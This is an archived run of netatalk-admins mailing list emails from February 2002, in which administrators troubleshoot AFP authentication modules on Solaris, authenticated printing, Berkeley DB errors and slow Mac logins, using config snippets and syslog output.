	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA10565
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 12:18:24 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA15994;
	Tue, 19 Feb 2002 18:45:16 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 19 Feb 2002 18:18:58 +0100
Subject: Re: authentication troubles
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "S.Barbaresi" <iss033@bangor.ac.uk>
CC: Paul Krohn <pkrohn@daemonize.com>, <netatalk-admins@umich.edu>
Message-ID: <B8984791.1C378%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.SOL.4.30.0202191242230.16567-100000@publix>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 19 Feb 2002 14:13:21 +0000 (GMT), S.Barbaresi wrote:

>> 2) afpd startup messages regarding UAMs ('grep'ing the syslog for "uam"),
>> eg. something like:
> 
> No uams entries in syslog.

Hmm... strange. But I haven't built Netatalk on Solaris before. Do others
get messages regarding missing/used UAMs in /var/adm/messages?

>> 3) The complete list of UAMs in the folder, afpd is searching in:

Are there any? What does the path in your Makefile inside Netatalk's source
dir say? Something like "UAMS_PATH = /usr/local/atalk/etc/netatalk/uams"?

And if so: What is in this directory?

>> 4) In case you are using PAM, some more details, how PAM is set up (as
>> Sebastian asked for already)
> 
> [...]

On Tue, 19 Feb 2002 14:43:08 +0000 (GMT), S.Barbaresi wrote:

> Feb 19 14:04:42 steffigraf afpd[22261]: [ID 511611 auth.error] atp_rresp:
> Connection timed out
> Feb 19 14:04:52 steffigraf afpd[22261]: [ID 505962 auth.error] afp_die:
> asp_shutdown: Connection timed out

What does your afpd.conf look like? Do you allow AFPoverTCP (-transall) too?
Please post your afpd's startup messages.

If you can reach the server via AFPoverTCP then try to connect via entering
it's IP address in the chooser instead of selecting the server name.

Maybe the whole problem is related to some AppleTalk trouble (empty ASP
packets -- who knows?)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Feb 19 12:32:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA27384
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 12:32:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA09052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 12:32:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA09026
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 12:32:54 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (ebv.mimnet.northwestern.edu [165.124.253.94])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA08988
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 12:32:53 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (IDENT:IRHnJHlKovGUuFmjgM2Z2z5dc4rjtPnU@localhost [127.0.0.1])
	by ebv.mimnet.nwu.edu with ESMTP id g1JHWrWA029680;
	Tue, 19 Feb 2002 11:32:53 -0600
Received: from localhost (aiyar@localhost)
	by ebv.mimnet.nwu.edu with ESMTP id g1JHWrJb029677;
	Tue, 19 Feb 2002 11:32:53 -0600
Date: Tue, 19 Feb 2002 11:32:53 -0600 (CST)
From: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>
To: Marc Taylor <mdtaylor@admin0.beckman.uiuc.edu>
cc: Netatalk <netatalk-admins@umich.edu>
Subject: Re: Authenticated Printing
In-Reply-To: <452D0284521A0643812C325EC798E223594A@bi-admex0.beckman.uiuc.edu>
Message-ID: <Pine.LNX.4.44.0202191129210.29656-100000@ebv.mimnet.nwu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 19 Feb 2002, Marc Taylor wrote:

>
> It is not clear to me whether Netatalk can do authenticated printing.  What
> I mean by this is that in order for you to print, you would have to mount a
> drive share so that a username could be captured for accounting.  CAP did
> this reasonably well though it confused some people because it looked like
> the printer was setup though the drive share wasn't mounted.  We can live
> with this.

Netatalk can do one better.  As long as you have a recent version
of the LaserWriter8 driver (I am using 8.7.1), Netatalk can require
authentication before printing WITHOUT the need to mount a share
as in CAP.

Here is my setup from papd.conf for an authenticated printer:

Aiyar Lab OptraT610:\
        :pr=|/usr/bin/lpr -Plp:\
        :sp:\
        :am=uams_clrtxt.so:\
        :pd=/usr/local/etc/atalk/ppd/loptrat.ppd:\
        :op=aiyarlab

This setup allows authenticated printing to a printer that appears
as "Aiyar Lab OptraT610" in the Chooser.  The user must authenticate
using CLRTXT authentication -- I don't think this works with DHX
or RANDNUM/RAND2NUM.

>
> So, does Netatalk do this?  If so, are there any instructions on how to do
> it?

Hope this helped you.

Ashok
-- 
Ashok Aiyar, Ph.D.
Assistant Professor                    email: a-aiyar@northwestern.edu
Department of Microbiology-Immunology           office: (312) 503-2524
303 E. Chicago Avenue, WARD 4-123                  lab: (312) 503-2542
Northwestern University, Chicago, IL 60611         fax: (312) 503-1339


From netatalk.administrators-errors@umich.edu  Tue Feb 19 14:26:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA04157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 14:26:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA07418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 14:26:43 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA07406
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 14:26:43 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA07379
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 14:26:42 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Tue, 19 Feb 2002 14:26:45 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f0510030fb8985716ed08@[192.168.42.39]>
In-Reply-To: <B892ABCB.B340%sflist@ihonk.com>
References: <B892ABCB.B340%sflist@ihonk.com>
Date: Tue, 19 Feb 2002 14:27:41 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: DB3
Content-Type: text/plain; charset="us-ascii"

well, with the new(ish) 3.3.11 version of db3 compiled and installed, and netatalk 1.5.2, all my DID and db_* errors seem to have gone away. the logs are still getting a little cluttered, tho, as i may have enabled debugging messages when i rebuilt netatalk, and every time someone connects, i get messages like:

"Feb 19 13:47:40 localhost afpd[12928]: CNID DB initialized using Sleepycat Software: Berkeley DB 3.3.11: (July 12, 2001)"

but it's better than filling up with DID conflicts, eh?

From netatalk.administrators-errors@umich.edu  Tue Feb 19 15:04:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA07691
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 15:04:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA08297
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 15:04:39 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA08268
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 15:04:37 -0500 (EST)
Received: from nasexs1.meridian-data.com (cdserv.meridian-data.com [206.79.177.152])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA08234
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 15:04:34 -0500 (EST)
Received: by cdserv.meridian-data.com with Internet Mail Service (5.5.2653.19)
	id <13KK49RW>; Tue, 19 Feb 2002 12:07:01 -0800
Message-ID: <2D0AFEFEE711D611923E009027D39F2B0521C8@cdserv.meridian-data.com>
From: "Seitz, Matt" <mseitz@snapserver.com>
To: netatalk-admins@umich.edu
Subject: Remove netatalk
Date: Tue, 19 Feb 2002 12:07:00 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I would like to completely remove 1.5.1.1 from my system before installing
1.5.2.  Where can I find a list of the files and directories netatalk
creates?

From netatalk.administrators-errors@umich.edu  Tue Feb 19 15:38:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA10647
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 15:38:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA28145
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 15:38:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA28130
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 15:38:07 -0500 (EST)
Received: from tinman.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA28095
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 15:38:05 -0500 (EST)
Received: (from nobody@localhost)
	by tinman.daemonize.com (8.11.2/8.11.2) id g1JKb4Y09759
	for netatalk-admins@umich.edu; Tue, 19 Feb 2002 12:37:04 -0800
X-Authentication-Warning: tinman.daemonize.com: nobody set sender to pkrohn@daemonize.com using -f
To: netatalk-admins@umich.edu
Subject: Re: authentication troubles
Message-ID: <1014151024.3c72b770a2557@webmail.daemonize.com>
Date: Tue, 19 Feb 2002 12:37:04 -0800 (PST)
From: Paul Krohn <pkrohn@daemonize.com>
References: <B8984791.1C378%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B8984791.1C378%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6

Quoting Thomas Kaiser <Thomas.Kaiser@phg-online.de>:

> On Tue, 19 Feb 2002 14:13:21 +0000 (GMT), S.Barbaresi wrote:
> 
> >> 2) afpd startup messages regarding UAMs ('grep'ing the syslog for
> "uam"),
> >> eg. something like:
> > 
> > No uams entries in syslog.
> 
> Hmm... strange. But I haven't built Netatalk on Solaris before. Do
> others
> get messages regarding missing/used UAMs in /var/adm/messages?

I get nothing in /var/log/syslog or /var/adm messages during a failed login.

> 
> >> 3) The complete list of UAMs in the folder, afpd is searching in:
> 
> Are there any? What does the path in your Makefile inside Netatalk's
> source
> dir say? Something like "UAMS_PATH =
> /usr/local/atalk/etc/netatalk/uams"?
> 
> And if so: What is in this directory?

prefix = /usr/local/atalk
UAMS_PATH = ${prefix}/etc/netatalk/uams

total 1064
lrwxrwxrwx   1 root     other         14 Feb 17 13:35 uams_clrtxt.so ->
uams_passwd.so
lrwxrwxrwx   1 root     other         18 Feb 17 13:35 uams_dhx.so ->
uams_dhx_passwd.so
-rw-r--r--   1 root     other      38496 Feb 17 13:35 uams_dhx_passwd.a
-rwxr-xr-x   1 root     other        933 Feb 17 13:35 uams_dhx_passwd.la
-rwxr-xr-x   1 root     other     225595 Feb 17 13:35 uams_dhx_passwd.so
-rw-r--r--   1 root     other      31070 Feb 17 13:35 uams_guest.a
-rwxr-xr-x   1 root     other        813 Feb 17 13:35 uams_guest.la
-rwxr-xr-x   1 root     other      36753 Feb 17 13:35 uams_guest.so
-rw-r--r--   1 root     other      32982 Feb 17 13:35 uams_passwd.a
-rwxr-xr-x   1 root     other        820 Feb 17 13:35 uams_passwd.la
-rwxr-xr-x   1 root     other      38916 Feb 17 13:35 uams_passwd.so
-rw-r--r--   1 root     other      43314 Feb 17 13:35 uams_randnum.a
-rwxr-xr-x   1 root     other        912 Feb 17 13:35 uams_randnum.la
-rwxr-xr-x   1 root     other      75698 Feb 17 13:35 uams_randnum.so

> 
> >> 4) In case you are using PAM, some more details, how PAM is set up
> (as
> >> Sebastian asked for already)
> > 
> > [...]

I' not using PAM, thought I ought to get the simple case working first. I'd like
to get it to use NIS eventually ... I assume this will require PAM?

> 
> On Tue, 19 Feb 2002 14:43:08 +0000 (GMT), S.Barbaresi wrote:
> 
> > Feb 19 14:04:42 steffigraf afpd[22261]: [ID 511611 auth.error]
> atp_rresp:
> > Connection timed out
> > Feb 19 14:04:52 steffigraf afpd[22261]: [ID 505962 auth.error]
> afp_die:
> > asp_shutdown: Connection timed out
> 
> What does your afpd.conf look like? Do you allow AFPoverTCP (-transall)
> too?
> Please post your afpd's startup messages.

Feb 19 11:32:39 lancelot ddp: [ID 772870 kern.info] netatalk 1.5.2
Feb 19 11:32:39 lancelot afpd[891]: [ID 449902 daemon.error] main: atp_open: Can
not assign requested address

The atp_open is because atalkd is not running at the moment.

> 
> If you can reach the server via AFPoverTCP then try to connect via
> entering
> it's IP address in the chooser instead of selecting the server name.
> 
> Maybe the whole problem is related to some AppleTalk trouble (empty
> ASP
> packets -- who knows?)
> 
> Regards,
> 
> Thomas
> 

From netatalk.administrators-errors@umich.edu  Tue Feb 19 16:39:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA14603
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 16:39:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA04273
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 16:39:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA04255
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 16:39:56 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA04212
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 16:39:54 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id NAA15561
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 13:39:48 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <10CF6QW1>; Tue, 19 Feb 2002 13:39:48 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250AC5@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: authentication troubles
Date: Tue, 19 Feb 2002 13:39:47 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I am having the same problem - it seems epidemic. I grepped my
/var/log/messages file and received the following output.

It looks like a dynamic linking problem.

Feb 14 18:28:44 geobase3 afpd[830]: [ID 943140 daemon.error] uam_register:
"Cleartxt Passwrd" already loaded by uams_pam.soFeb 14 18:28:44 geobase3 afpd[830]: [ID 113155 daemon.error]
uam_load(uams_pam.so): uam_setup failedFeb 14 18:36:29 geobase3 afpd[893]: [ID 943140 daemon.error] uam_register:
"Cleartxt Passwrd" already loaded by uams_pam.soFeb 14 18:36:29 geobase3 afpd[893]: [ID 113155 daemon.error]
uam_load(uams_pam.so): uam_setup failedFeb 15 12:31:24 geobase3 afpd[1293]: [ID 272954 daemon.error]
uam_load(uams_guest.so): failed to load: ld.so.1: /usr/local/sbin/afpd: fatal:
/usr/ccs/bin/ranlib/libkrb.so.1: Not a directoryFeb 15 12:31:24 geobase3 afpd[1293]: [ID 272954 daemon.error]
uam_load(uams_clrtxt.so): failed to load: ld.so.1: /usr/local/sbin/afpd: fatal:
/usr/ccs/bin/ranlib/libkrb.so.1: Not a directoryFeb 15 12:35:58 geobase3 afpd[1330]: [ID 272954 daemon.error]
uam_load(uams_clrtxt.so): failed to load: ld.so.1: /usr/local/sbin/afpd: fatal:
/usr/ccs/bin/ranlib/libkrb.so.1: Not a directoryFeb 15 13:15:31 geobase3 afpd[13796]: [ID 395270 daemon.error]
uam_load(uams_dhx_pam.so): mod_symbol error for symbol uams_dhx_pamFeb 15 13:26:28 geobase3 afpd[13880]: [ID 395270 daemon.error]
uam_load(uams_dhx_pam.so): mod_symbol error for symbol uams_dhx_pam

> ----------
> From: 	Paul Krohn
> Sent: 	Tuesday, February 19, 2002 12:37 PM
> To: 	netatalk-admins@umich.edu
> Subject: 	Re: authentication troubles
> 
> Quoting Thomas Kaiser <Thomas.Kaiser@phg-online.de>:
> 
> > On Tue, 19 Feb 2002 14:13:21 +0000 (GMT), S.Barbaresi wrote:
> > 
> > >> 2) afpd startup messages regarding UAMs ('grep'ing the syslog for
> > "uam"),
> > >> eg. something like:
> > > 
> > > No uams entries in syslog.
> > 
> > Hmm... strange. But I haven't built Netatalk on Solaris before. Do
> > others
> > get messages regarding missing/used UAMs in /var/adm/messages?
> 
> I get nothing in /var/log/syslog or /var/adm messages during a failed
> login.
> 
> > 
> > >> 3) The complete list of UAMs in the folder, afpd is searching in:
> > 
> > Are there any? What does the path in your Makefile inside Netatalk's
> > source
> > dir say? Something like "UAMS_PATH =
> > /usr/local/atalk/etc/netatalk/uams"?
> > 
> > And if so: What is in this directory?
> 
> prefix = /usr/local/atalk
> UAMS_PATH = ${prefix}/etc/netatalk/uams
> 
> total 1064
> lrwxrwxrwx   1 root     other         14 Feb 17 13:35 uams_clrtxt.so ->
> uams_passwd.so
> lrwxrwxrwx   1 root     other         18 Feb 17 13:35 uams_dhx.so ->
> uams_dhx_passwd.so
> -rw-r--r--   1 root     other      38496 Feb 17 13:35 uams_dhx_passwd.a
> -rwxr-xr-x   1 root     other        933 Feb 17 13:35 uams_dhx_passwd.la
> -rwxr-xr-x   1 root     other     225595 Feb 17 13:35 uams_dhx_passwd.so
> -rw-r--r--   1 root     other      31070 Feb 17 13:35 uams_guest.a
> -rwxr-xr-x   1 root     other        813 Feb 17 13:35 uams_guest.la
> -rwxr-xr-x   1 root     other      36753 Feb 17 13:35 uams_guest.so
> -rw-r--r--   1 root     other      32982 Feb 17 13:35 uams_passwd.a
> -rwxr-xr-x   1 root     other        820 Feb 17 13:35 uams_passwd.la
> -rwxr-xr-x   1 root     other      38916 Feb 17 13:35 uams_passwd.so
> -rw-r--r--   1 root     other      43314 Feb 17 13:35 uams_randnum.a
> -rwxr-xr-x   1 root     other        912 Feb 17 13:35 uams_randnum.la
> -rwxr-xr-x   1 root     other      75698 Feb 17 13:35 uams_randnum.so
> 
> > 
> > >> 4) In case you are using PAM, some more details, how PAM is set up
> > (as
> > >> Sebastian asked for already)
> > > 
> > > [...]
> 
> I' not using PAM, thought I ought to get the simple case working first.
> I'd like
> to get it to use NIS eventually ... I assume this will require PAM?
> 
> > 
> > On Tue, 19 Feb 2002 14:43:08 +0000 (GMT), S.Barbaresi wrote:
> > 
> > > Feb 19 14:04:42 steffigraf afpd[22261]: [ID 511611 auth.error]
> > atp_rresp:
> > > Connection timed out
> > > Feb 19 14:04:52 steffigraf afpd[22261]: [ID 505962 auth.error]
> > afp_die:
> > > asp_shutdown: Connection timed out
> > 
> > What does your afpd.conf look like? Do you allow AFPoverTCP (-transall)
> > too?
> > Please post your afpd's startup messages.
> 
> Feb 19 11:32:39 lancelot ddp: [ID 772870 kern.info] netatalk 1.5.2
> Feb 19 11:32:39 lancelot afpd[891]: [ID 449902 daemon.error] main:
> atp_open: Can
> not assign requested address
> 
> The atp_open is because atalkd is not running at the moment.
> 
> > 
> > If you can reach the server via AFPoverTCP then try to connect via
> > entering
> > it's IP address in the chooser instead of selecting the server name.
> > 
> > Maybe the whole problem is related to some AppleTalk trouble (empty
> > ASP
> > packets -- who knows?)
> > 
> > Regards,
> > 
> > Thomas
> > 
> 
> 

From netatalk.administrators-errors@umich.edu  Tue Feb 19 17:32:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA17711
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 17:32:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06531
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 17:32:54 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06513
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 17:32:54 -0500 (EST)
Received: from mail.outstep.com (a904j637.tower.wayne.edu [141.217.140.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06489
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 17:32:53 -0500 (EST)
Received: from outstep.com (localhost.localdomain [127.0.0.1])
	by mail.outstep.com (Postfix) with SMTP id DC0EA3BE41
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 17:28:06 -0500 (EST)
Received: from 192.168.1.12
        (SquirrelMail authenticated user lonnie)
        by 192.168.1.2 with HTTP;
        Tue, 19 Feb 2002 17:28:06 -0500 (EST)
Message-ID: <1572.192.168.1.12.1014157686.squirrel@192.168.1.2>
Date: Tue, 19 Feb 2002 17:28:06 -0500 (EST)
Subject: newbie configuration questions
From: "Lonnie Cumberland" <lonnie@outstep.com>
To: <netatalk-admins@umich.edu>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.2)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello All,

I am new to using netatalk and have just installed the rpm onto my
redhat 7.2 system. I want to be able to give our MAC users the
ability to connect to their /HOME directories from their Mac machines.

Could someone please tell me what I must do now to configure the
Netatalk so that the users can connect with their Linux login/password

Any help on configuration would be greatly appreciated.

Also, what port tcp/udp does netatalk run on?

cheers,
Lonnie

-- 
 Lonnie Cumberland
 EMAIL: Lonnie@OutStep.com
      : Lonnie_Cumberland@yahoo.com




From netatalk.administrators-errors@umich.edu  Tue Feb 19 20:07:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA27280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 20:07:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA13874
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 20:07:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA13855
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 20:07:04 -0500 (EST)
Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA13801
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 20:07:03 -0500 (EST)
Received: from [172.31.1.10] ([24.112.224.207])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.04.06 201-253-122-122-106-20020109) with ESMTP
          id <20020220010702.GMXM310.fep01-mail.bloor.is.net.cable.rogers.com@[172.31.1.10]>
          for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 20:07:02 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3
Date: Tue, 19 Feb 2002 20:07:02 -0500
Subject: Netatalk slow as all get out
From: Ted <mr.ted@rogers.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B89860E6.D%mr.ted@rogers.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.112.224.207] using ID <mr.ted@rogers.com> at Tue, 19 Feb 2002 20:07:02 -0500

Hello, all.

I've spent the last few days banging my head against the proverbial wall
with a problem with netatalk that I've never had before. Every other time
I've set it up, it worked lickety split - this time I've been losing sleep
over it!

Here's what's happening. I fire up the system -it's a dual P3,733 MHz, 512
Meg's o'RAM, 2 40 gig HD's, and a 3Com 3C590. Okay, this is going to sound
bad, but I'm only 95% sure on the card model - the first card was a 3Com
3C905-TX, but it would saturate the network whenever it did anything, not
letting ANY traffic through. The second card I put in (the 3C590) now won't
saturate the network, but whenever I try to log onto it from the Macintoshes
(all of them are running System 9.1 on G4's of various speeds.)  The Mac
slows to a crawl, taking upwards of 5 minutes to log in, another few before
the system is responsive again, and another 3 or 4 minutes to log off of the
Linux machine (Oh yeah, the system is running TurboLinux Server 7, upgraded
to kernel 2.4.17) As for the rest of their network, their internet
connection is a DSL line plugged into a Linksys gateway/router, from there
it goes into a 10baseT hub, and the rest of the machines sprawl out from
there - including 2 printers - a 10baseT connected QMS 860, and an Apple
LaserWriter 2 connected to the 10baseT network via a localtalk junction box.

I've been reading HOWTO's, mailing list archives, manuals, etc. . . etc. .
., and still, I cannot get any acceptable level of performance out of this
machine - netatalk wise. Everything else runs fine in the meantime -
compiling, database access, etc.  I've adjusted the afpd.conf, atalkd.conf
and their ilk to attemp various setting issues. I've specified the machines
address with -ipaddr 192.168.1.10 to try and address any DNS issues. I've
turned off the named daemon. I've replaced the cable ends on some of the
wires (some of them were awful).

I'm going nuts with this. I set up my home Appletalk network on an SMP
machine (granted, it's a dual 133, rather than 733), and most of the
documents I've read the last few days have mentioned SMP scheduling problems
with 2.0 and 2.2 kernels, so I'm not sure how much of it applies here.

If anyone on this this has ANY suggestions as to what I might try next,
please help me.  Perhaps this isn't even a netatalk problem, but I've been
able to get decent internet performance without slowing everyone down on the
network. The network 3C905 is new, the 3C590 is out of my home server, and I
know it works.

Sorry for being so wordy. If you can help me, I'll be sure to buy you some
beer (or scotch, or whatever you pleaure) if you are in the London, Ontario
area anytime.

Cheers!
Greg Marsh
---
I'm like a chocoholic, except with booze.



From netatalk.administrators-errors@umich.edu  Tue Feb 19 20:14:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA27633
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 20:14:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA12102
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 20:14:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA12088
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 20:14:49 -0500 (EST)
Received: from aratinga.homelinux.com (pa-steclge-u3-c5b-46.stcgpa.adelphia.net [68.64.232.46])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA12039
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 20:14:47 -0500 (EST)
Received: (from redjen@localhost)
	by aratinga.homelinux.com (8.11.2/8.11.2) id g1K1Ecm05320
	for netatalk-admins@umich.edu; Tue, 19 Feb 2002 20:14:38 -0500
Date: Tue, 19 Feb 2002 20:14:38 -0500
From: redjen@psu.edu
To: netatalk-admins@umich.edu
Subject: Re: newbie configuration questions
Message-ID: <20020219201438.A4854@psu.edu>
References: <1572.192.168.1.12.1014157686.squirrel@192.168.1.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
